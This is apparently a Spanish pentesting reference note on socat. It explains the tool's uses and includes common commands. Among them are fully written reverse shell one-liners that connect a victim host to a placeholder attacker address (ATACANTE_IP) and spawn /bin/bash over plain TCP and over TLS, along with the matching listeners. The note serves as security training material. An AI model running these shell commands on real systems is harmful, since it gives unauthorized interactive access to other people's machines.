Herramientas

Socat

#network#shells

Socat (SOcket CAT) es netcat llevado al extremo: conecta dos flujos de datos de casi cualquier tipo —sockets TCP/UDP, ficheros, pipes, dispositivos serie, pseudo-terminales, túneles TLS— y…

Qué es

Socat (SOcket CAT) es netcat llevado al extremo: conecta dos flujos de datos de casi cualquier tipo —sockets TCP/UDP, ficheros, pipes, dispositivos serie, pseudo-terminales, túneles TLS— y los une bidireccionalmente. Su valor en seguridad ofensiva es que sabe asignar un PTY a la conexión, lo que da shells totalmente interactivas desde el primer momento, y que puede cifrar el tráfico con TLS sin herramientas externas.

A cambio, su sintaxis es más densa: cada extremo se describe con un “address” completo (tipo, destino y opciones), en lugar de un simple par IP.

Para qué sirve

  • Recibir reverse shells estables, con TTY, desde el primer intento.
  • Cifrar la sesión de shell con TLS para que no viaje en texto plano.
  • Redirigir puertos y hacer de relay entre dos servicios.
  • Encapsular protocolos: exponer un socket UNIX como TCP, o al revés.

Cuándo usarla

  • Cuando la shell de netcat se queda corta y necesitas algo interactivo y estable.
  • Cuando el tráfico de la shell atraviesa una red donde te pueden estar escuchando.
  • Para port forwarding puntual sin levantar un túnel SSH completo.

Instalación

Terminal window
# Debian/Ubuntu — no suele venir por defecto
sudo apt install socat

Uso (comandos comunes)

Terminal window
# Listener con PTY completo (lado atacante)
socat -d -d TCP-LISTEN:443,reuseaddr FILE:`tty`,raw,echo=0
# Reverse shell interactiva (lado víctima)
socat TCP:ATACANTE_IP:443 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
# Shell cifrada con TLS — generar cert y escuchar
openssl req -newkey rsa:2048 -nodes -keyout s.key -x509 -days 30 -out s.crt
cat s.key s.crt > s.pem
socat OPENSSL-LISTEN:443,cert=s.pem,verify=0 FILE:`tty`,raw,echo=0
# víctima:
socat OPENSSL:ATACANTE_IP:443,verify=0 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
# Redirección de puerto (reenvía 8080 local a un servicio remoto)
socat TCP-LISTEN:8080,fork,reuseaddr TCP:10.0.0.5:80

Pitfalls / Errores comunes

  • La sintaxis de los address es exigente: un pty o un raw,echo=0 mal puesto y la shell sale doblada o sin eco. Merece la pena memorizar las dos o tres recetas de arriba.
  • No viene instalado por defecto casi en ningún sitio, así que en un pivote hay que subirlo primero.
  • verify=0 desactiva la validación del certificado: vale para un lab, pero deja el canal expuesto a MITM. En un engagement real, verifica.

Integración con otras notas

  • Conceptos: Shells (Reverse and Bind).
  • Alternativa más simple: Netcat.

Referencias

  1. Documentación oficial de Socat — http://www.dest-unreach.org/socat/
  2. Página de manual socat(1)http://www.dest-unreach.org/socat/doc/socat.html